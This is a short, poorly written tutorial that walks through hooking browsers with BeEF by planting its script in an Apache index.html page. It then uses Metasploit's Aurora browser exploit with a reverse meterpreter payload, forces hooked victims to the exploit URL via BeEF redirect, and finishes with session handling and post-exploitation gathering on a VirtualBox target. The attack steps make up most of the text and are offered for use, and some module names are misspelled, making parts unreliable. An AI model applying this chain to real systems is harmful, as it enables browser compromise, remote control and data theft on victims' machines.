numberten

how to use beef :

open beef-xss from you computer,

the will show the terminal like thin your terminal

aotomatically in your web browser in your computer will show the beeef page,

put in your user name and password "beef"

you will entry the beef page like beside.
in there you will show IP that connected to your browser, online or offline

for preparation to use beef, we assumpt the windows in virtual box are the target, we setting that network to bridge, it make the virtual computer have acces to rooter with real computer, so he have wlan ip address and get the internet network like computer ussual.

start apache2, because we will run the  web application.

service apache2 start

we back to terminal,
check our ip address in wlan,
then we migrate to file html location to put the hook script in file html.
because the web operating in var/www/html.

cd /var/www/html
nano index.html

why we edit index.html file?
because index.html is the opened page in the web. if we go to a web , the first page that we will show is index.html
we copy the hook script in the index.html script and dont forget to change the ip to our wlan ip, so the report will be reported to beef in our web browser.

go to the web browser in virtual computer
go to index.html

http:/192.168.1.104/index.html

will show apace2 page,

go to the beef in web browser,
automatically in beef show the ip virtual computer in online,

it means, if the computer access our web, in behind, beef script is running and send report to our beef web browser.




how if we want to attack the client of web server or client side attact :

we make the exploit first :





open metasploit framework in your computer

msfconsle then click enter

choose the modul to web browser attack...
for the example we wiil use the aurora modules :
use exploit windows/browser/ms10_002_aurora then click enter
set  SRVHOST (our ip address to listen the report)
set SRVPORT (port to open report)
set URIPATH (name of url that wanto to make)

choose the payload,

set PAYLOAD windows/meterpreter/reserves_tcp_dns
set LHOST (our IP address)
set LPORT (port number)

after that running the exploit wirh command :

exploit then click enter

will show the url of our exploit
, save this url



if the client browse that link, automatically they will be exploited. the show up the question....how to make the client browse that url???

we can use beef to force the client browsing our url....
check it out

continue above discussion about process how to use beef,
make sure the client had browse our web rowser.
in beef will show notification about ip that connect online with us

choose the ip, command-browser-hook domain-redirect browser

put in our exploit url to blank table,
then klick execute

back to the terminal,
that will show meterpreter sessions 1 opened...

then type:
sessions -l

  

will show ip that connected to our, choose one :
sessions -i (number of sessions that will choose)

we already entry to virtual computer, then migrate to exe or any program that running now in windows

migrate 1604 (ex)

klick run to get any information in the client computer

run (information)

example we want to know the host file

run post /windows/gather/enum_host file

there are will be save in address /root....

you will red the report through to file location

cat (name of file)







thats all....you already hack the target computer...thanks....